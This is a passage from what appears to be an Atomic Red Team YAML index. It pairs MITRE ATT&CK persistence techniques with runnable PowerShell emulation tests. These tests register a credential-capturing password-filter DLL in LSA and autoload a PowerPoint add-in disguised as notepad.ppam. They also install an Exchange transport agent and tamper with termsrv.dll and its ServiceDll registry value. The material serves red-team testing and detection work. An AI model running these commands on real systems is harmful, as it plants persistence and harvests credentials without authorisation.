"PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam") {exit 0} else {exit 1} ' get_prereq_command: |- New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/PptVBAaddin.ppam" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" executor: name: powershell command: | Copy "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" "$env:APPDATA\Microsoft\Addins\notepad.ppam" $ver = (New-Object -COMObject "PowerPoint.Application").version $ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad" New-Item -type Directory $ExcelRegPath -Force | Out-Null New-ItemProperty $ExcelRegPath "Autoload" -value "1" -propertyType DWORD | Out-Null New-ItemProperty $ExcelRegPath "Path" -value "notepad.ppam" -propertyType string | Out-Null Stop-Process -Name "PowerPnt" -ErrorAction Ignore Start-Process "PowerPnt" cleanup_command: |- $ver = (New-Object -COMObject "PowerPoint.Application").version Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad" -ErrorAction Ignore Stop-Process -Name "notepad","PowerPnt" -ErrorAction Ignore Start-Sleep 3 Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.ppam" -ErrorAction Ignore T1505.002: technique: x_mitre_platforms: - Linux - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - ESET - Christoffer Strömblad object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1 type: attack-pattern created: '2019-12-12T15:08:20.972Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1505.002 url: https://attack.mitre.org/techniques/T1505/002 - source_name: Microsoft TransportAgent Jun 2016 url: https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help description: Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019. - source_name: ESET LightNeuron May 2019 url: https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf description: 'Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.' modified: '2022-04-25T14:00:00.188Z' name: 'Server Software Component: Transport Agent' description: "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Creation' - 'Application Log: Application Log Content' x_mitre_permissions_required: - SYSTEM - Administrator - root spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1505.002 atomic_tests: - name: Install MS Exchange Transport Agent Persistence auto_generated_guid: 43e92449-ff60-46e9-83a3-1a38089df94d description: | Install a Microsoft Exchange Transport Agent for persistence. This requires execution from an Exchange Client Access Server and the creation of a DLL with specific exports. Seen in use by Turla. More details- https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help supported_platforms: - windows input_arguments: class_factory: description: Class factory of transport agent. type: string default: Microsoft.Exchange.Security.Interop.SecurityInteropAgentFactory dll_path: description: Path of DLL to use as transport agent. type: path default: c:\program files\microsoft\Exchange Server\v15\bin\Microsoft.Exchange.Security.Interop.dll transport_agent_identity: description: Friendly name of transport agent once installed. type: string default: Security Interop Agent dependencies: - description: 'Microsoft Exchange SnapIn must be installed ' prereq_command: 'Get-TransportAgent -TransportService FrontEnd ' get_prereq_command: 'Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn ' executor: command: | Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path} Enable-TransportAgent #{transport_agent_identity} Get-TransportAgent | Format-List Name,Enabled cleanup_command: | if(Get-Command "Get-TransportAgent" -ErrorAction Ignore){ Disable-TransportAgent #{transport_agent_identity} Uninstall-TransportAgent #{transport_agent_identity} Get-TransportAgent } name: powershell elevation_required: true T1574.014: technique: modified: '2024-04-18T15:03:32.158Z' name: AppDomainManager description: "Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code.(Citation: Microsoft App Domains) \n\nKnown as \"AppDomainManager injection,\" adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.(Citation: PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation: Rapid7 AppDomain Manager Injection)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Thomas B - Ivy Bostock x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Module: Module Load' - 'File: File Creation' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8 created: '2024-03-28T15:36:34.141Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/014 external_id: T1574.014 - source_name: PenTestLabs AppDomainManagerInject description: Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND DETECTION. Retrieved March 28, 2024. url: https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/ - source_name: Microsoft App Domains description: Microsoft. (2021, September 15). Application domains. Retrieved March 28, 2024. url: https://learn.microsoft.com/dotnet/framework/app-domains/application-domains - source_name: PwC Yellow Liderc description: PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved March 29, 2024. url: https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html - source_name: Rapid7 AppDomain Manager Injection description: 'Spagnola, N. (2023, May 5). AppDomain Manager Injection: New Techniques For Red Teams. Retrieved March 29, 2024.' url: https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1098.006: technique: modified: '2023-10-16T17:51:35.865Z' name: Additional Container Cluster Roles description: "An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Containers x_mitre_version: '1.0' x_mitre_data_sources: - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--35d30338-5bfa-41b0-a170-ec06dfd75f64 created: '2023-07-14T14:01:50.806Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/006 external_id: T1098.006 - source_name: AWS EKS IAM Roles for Service Accounts description: Amazon Web Services. (n.d.). IAM roles for service accounts. Retrieved July 14, 2023. url: https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html - source_name: Google Cloud Kubernetes IAM description: Google Cloud. (n.d.). Create IAM policies. Retrieved July 14, 2023. url: https://cloud.google.com/kubernetes-engine/docs/how-to/iam - source_name: Kuberentes ABAC description: Kuberenets. (n.d.). Using ABAC Authorization. Retrieved July 14, 2023. url: https://kubernetes.io/docs/reference/access-authn-authz/abac/ - source_name: Kubernetes RBAC description: Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023. url: https://kubernetes.io/docs/concepts/security/rbac-good-practices/ - source_name: Aquasec Kubernetes Attack 2023 description: Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023. url: https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters - source_name: Microsoft Azure Kubernetes Service Service Accounts description: Microsoft Azure. (2023, April 28). Access and identity options for Azure Kubernetes Service (AKS). Retrieved July 14, 2023. url: https://learn.microsoft.com/en-us/azure/aks/concepts-identity object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1053: technique: modified: '2024-03-01T15:29:46.832Z' name: Scheduled Task/Job description: |- Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security) Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Prashant Verma, Paladion - Leo Loobeek, @leoloobeek - Travis Smith, Tripwire - Alain Homewood, Insomnia Security - Andrew Northern, @ex_raritas - Bryan Campbell, @bry_campbell - Zachary Abzug, @ZackDoesML - Selena Larson, @selenalarson x_mitre_deprecated: false x_mitre_detection: "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS - Containers x_mitre_version: '2.3' x_mitre_data_sources: - 'Scheduled Job: Scheduled Job Creation' - 'File: File Creation' - 'Process: Process Creation' - 'Container: Container Creation' - 'Command: Command Execution' - 'File: File Modification' x_mitre_effective_permissions: - SYSTEM - Administrator - User x_mitre_permissions_required: - Administrator - SYSTEM - User x_mitre_remote_support: true type: attack-pattern id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 created: '2017-05-31T21:30:46.977Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053 external_id: T1053 - source_name: ProofPoint Serpent description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022. url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain - source_name: TechNet Task Scheduler Security description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016. url: https://technet.microsoft.com/en-us/library/cc785125.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1556.002: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Vincent Le Toux object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42 type: attack-pattern created: '2020-02-11T19:05:45.829Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.002 url: https://attack.mitre.org/techniques/T1556/002 - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html description: Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017. source_name: Carnal Ownage Password Filters Sept 2013 - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/ description: Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017. source_name: Clymb3r Function Hook Passwords Sept 2013 modified: '2022-04-25T14:00:00.188Z' name: 'Modify Authentication Process: Password Filter DLL' description: "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference. Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013) x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'File: File Creation' - 'Module: Module Load' x_mitre_permissions_required: - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1556.002 atomic_tests: - name: Install and Register Password Filter DLL auto_generated_guid: a7961770-beb5-4134-9674-83d7e1fa865c description: "Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n" supported_platforms: - windows input_arguments: dll_path: description: Path to DLL to be installed and registered type: path default: PathToAtomicsFolder\T1556.002\bin dll_name: description: Name of the Password Filter type: string default: AtomicRedTeamPWFilter.dll dependency_executor_name: powershell dependencies: - description: 'AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\#{dll_name}) ' prereq_command: 'if (Test-Path "#{dll_path}\#{dll_name}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll" -OutFile "#{dll_path}\#{dll_name}" executor: command: | reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg" $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" $notificationPackagesValues = $lsaKey.GetValue("Notification Packages") $notificationPackagesValues += $passwordFilterName Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues cleanup_command: | reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg" remove-item C:\Windows\System32\#{dll_name} name: powershell elevation_required: true - name: Install Additional Authentication Packages auto_generated_guid: 91580da6-bc6e-431b-8b88-ac77180005f2 description: "lsass.exe loads all DLLs specified by the Authentication Packages REG_MULTI_SZ value.\nUses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n" supported_platforms: - windows input_arguments: dll_path: description: Path to DLL to be installed and registered as additional authentication package type: path default: PathToAtomicsFolder\T1556.002\bin dll_name: description: Name of the Password Filter type: string default: AtomicRedTeamPWFilter.dll dependency_executor_name: powershell dependencies: - description: 'AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\#{dll_name}) ' prereq_command: 'if (Test-Path "#{dll_path}\#{dll_name}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll" -OutFile "#{dll_path}\#{dll_name}" executor: command: | reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg" $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" $AuthenticationPackagesValues = $lsaKey.GetValue("Authentication Packages") $AuthenticationPackagesValues += $passwordFilterName Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Authentication Packages" $AuthenticationPackagesValues cleanup_command: | reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg" remove-item C:\Windows\System32\#{dll_name} name: powershell elevation_required: true T1505.005: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8 created: '2022-03-28T15:34:44.590Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1505.005 url: https://attack.mitre.org/techniques/T1505/005 - source_name: James TermServ DLL url: https://twitter.com/james_inthe_box/status/1150495335812177920 description: James. (2019, July 14). @James_inthe_box. Retrieved March 28, 2022. - source_name: Microsoft System Services Fundamentals url: https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx description: Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022. - source_name: Microsoft Remote Desktop Services url: https://docs.microsoft.com/windows/win32/termserv/about-terminal-services description: Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022. - source_name: RDPWrap Github url: https://github.com/stascorp/rdpwrap description: Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022. - source_name: Windows OS Hub RDP url: http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/ description: Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved March 28, 2022. x_mitre_deprecated: false revoked: false description: |- Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services) [Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a "generic" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\System32\`, is the default ServiceDll value for Terminal Services in `HKLM\System\CurrentControlSet\services\TermService\Parameters\`. Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Server Software Component: Terminal Services DLL' x_mitre_detection: |- Monitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\System\CurrentControlSet\services\TermService\Parameters\. Monitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\System32\. Monitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll. Monitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\System32\termsrv.dll, though an adversary could also use [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Module: Module Load' - 'Command: Command Execution' - 'File: File Modification' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1505.005 atomic_tests: - name: Simulate Patching termsrv.dll auto_generated_guid: 0b2eadeb-4a64-4449-9d43-3d999f4a317b description: | Simulates patching of termsrv.dll by making a benign change to the file and replacing it with the original afterwards. Before we can make the modifications we need to take ownership of the file and grant ourselves the necessary permissions. supported_platforms: - windows executor: elevation_required: true command: | $termsrvDll = "C:\Windows\System32\termsrv.dll" $ACL = Get-Acl $termsrvDll $permission = "Administrators","FullControl","Allow" $accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission $ACL.SetAccessRule($accessRule) Set-Acl -Path $termsrvDll -AclObject $ACL Copy-Item -Path "C:\Windows\System32\termsrv.dll" -Destination "C:\Windows\System32\termsrv_backup.dll" -ErrorAction Ignore Add-Content -Path "C:\Windows\System32\termsrv.dll" -Value "`n" -NoNewline -ErrorAction Ignore Move-Item -Path "C:\Windows\System32\termsrv_backup.dll" -Destination "C:\Windows\System32\termsrv.dll" -Force -ErrorAction Ignore cleanup_command: 'Move-Item -Path "C:\Windows\System32\termsrv_backup.dll" -Destination "C:\Windows\System32\termsrv.dll" -Force -ErrorAction Ignore ' name: powershell - name: Modify Terminal Services DLL Path auto_generated_guid: 18136e38-0530-49b2-b309-eed173787471 description: This atomic test simulates the modification of the ServiceDll value in HKLM\System\CurrentControlSet\services\TermService\Parameters. This technique may be leveraged by adversaries to establish persistence by loading a patched version of the DLL containing malicious code. supported_platforms: - windows executor: elevation_required: true command: |- $termsrvDll = "C:\Windows\System32\termsrv.dll" $ACL = Get-Acl $termsrvDll $permission = "Administrators","FullControl","Allow" $accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission $ACL.SetAccessRule($accessRule) Set-Acl -Path $termsrvDll -AclObject $ACL Copy-Item -Path $termsrvDll -Destination "$HOME\AtomicTest.dll" $newServiceDll = "$HOME\AtomicTest.dll" $registryPath = "HKLM:\System\CurrentControlSet\services\TermService\Parameters" # Check if the registry key exists if (Test-Path -Path $registryPath) { # Modify the ServiceDll value in the registry Set-ItemProperty -Path $registryPath -Name "ServiceDll" -Value $newServiceDll Write-Host "ServiceDll value in the registry has been updated to: $newServiceDll" } else { Write-Host "Registry key not found. Make sure the 'TermService\Parameters' key exists." } cleanup_command: Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\services\TermService\Parameters" -Name "ServiceDll" -Value "C:\Windows\System32\termsrv.dll" name: powershell T1176: technique: modified: '2024-04-18T23:22:37.874Z' name: Browser Extensions description: "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Chris Ross @xorrior - Justin Warner, ICEBRG - Manikantan Srinivasan, NEC Corporation India x_mitre_deprecated: false x_mitre_detection: |- Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Creation' - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Creation' - 'Network Traffic: Network Connection Creation' type: attack-pattern id: attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8 created: '2018-01-16T16:13:52.465Z' created_by_ref: 